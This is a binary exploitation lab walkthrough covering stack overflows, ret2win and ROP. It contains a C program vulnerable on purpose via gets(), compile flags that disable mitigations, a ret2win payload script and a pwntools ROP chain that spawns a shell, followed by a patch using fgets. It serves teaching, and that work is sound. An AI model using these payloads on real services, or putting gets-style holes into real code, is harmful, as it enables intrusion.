Binary Exploitation Lab: Stack Overflows, NX, and ROP

Overview

This is a controlled lab walkthrough. The goal is to understand memory corruption, not to attack real systems. Use it in a local VM, with binaries you compiled yourself.

Stack anatomy in 60 seconds

When a function is called, the stack stores local variables and the return address. Overflows let you overwrite that return address.

High addresses
+---------------------+
| return address      |
| saved base pointer  |
| local buffer[64]    |
+---------------------+
Low addresses

Vulnerable program

#include <stdio.h>
#include <string.h>

void win() {
    puts("win");
}

void vuln() {
    char buf[64];
    gets(buf); /* vulnerable on purpose */
}

int main() {
    vuln();
    return 0;
}

Compile for a lab target:

gcc -fno-stack-protector -no-pie -z execstack -o vuln vuln.c

Check the resulting mitigations:

checksec --file=./vuln

First crash

Feed a long input and inspect the crash:

python3 - <<'PY'
print("A" * 200)
PY

In gdb:

gdb -q ./vuln
(gdb) run
(gdb) info registers
(gdb) x/32gx $rsp

You are looking for the offset where the return address is overwritten.

Finding the offset

Use a cyclic pattern and read the crashing value:

python3 - <<'PY'
import itertools
alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
pat = "".join(a+b+c for a in alphabet for b in alphabet for c in alphabet)
print(pat[:300])
PY

When the crash happens, locate the pattern position to compute the offset.

Mitigations that change the game

Mitigation	What it does	Impact
NX	Marks stack non-executable	Blocks shellcode on stack
Canary	Detects stack corruption	Crashes before RET
PIE	Randomizes code base	Harder to jump to gadgets
RELRO	Protects GOT	Limits overwrite tricks

Most modern binaries enable these by default. A lab often disables them so you can learn the basics.

ASLR and PIE notes

ASLR randomizes memory layout each run. PIE randomizes the binary base address. For a lab, you might temporarily disable ASLR to make addresses stable while learning:

setarch -R ./vuln

In real environments, assume ASLR and PIE are enabled and plan your exploit around leaks or relative gadgets.

Ret2win as a safe first goal

If the binary has a win() function, you can redirect execution there without injecting code.

from struct import pack

offset = 72
win_addr = 0x401146
payload = b"A" * offset + pack("<Q", win_addr)
print(payload)

Debugging tips

Use info frame to confirm where the saved return address lives.
Use x/40gx $rsp to inspect the stack after the crash.
Use pattern_create and pattern_offset if you have pwndbg or peda.

Minimal ROP example

If NX is enabled and there is no win(), build a small ROP chain to call system("/bin/sh") or a safe lab function. The key is to align the stack and set up registers correctly.

from pwn import *

elf = context.binary = ELF("./vuln")
rop = ROP(elf)

pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
bin_sh = next(elf.search(b"/bin/sh"))

payload = b"A" * 72
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(elf.plt["system"])

print(payload)

Why ROP works

NX blocks executing injected shellcode, but it does not stop you from chaining existing code fragments. A ROP chain uses small instruction sequences ending in ret to build a program from pieces of the binary and its libraries. That is why ASLR and PIE matter so much: they make those gadget addresses unpredictable.

Patch the bug

- gets(buf);
+ fgets(buf, sizeof(buf), stdin);

If you do not need the buffer at all, remove it entirely. Prefer safer wrappers and add input validation.

Network service note

If the vulnerable program is exposed over a socket, the same ideas apply, but you must handle I/O framing, timeouts, and partial reads. Always reproduce the crash locally before moving to a network target.

Binary Exploitation Lab: Stack Overflows, NX, and ROP

Article stats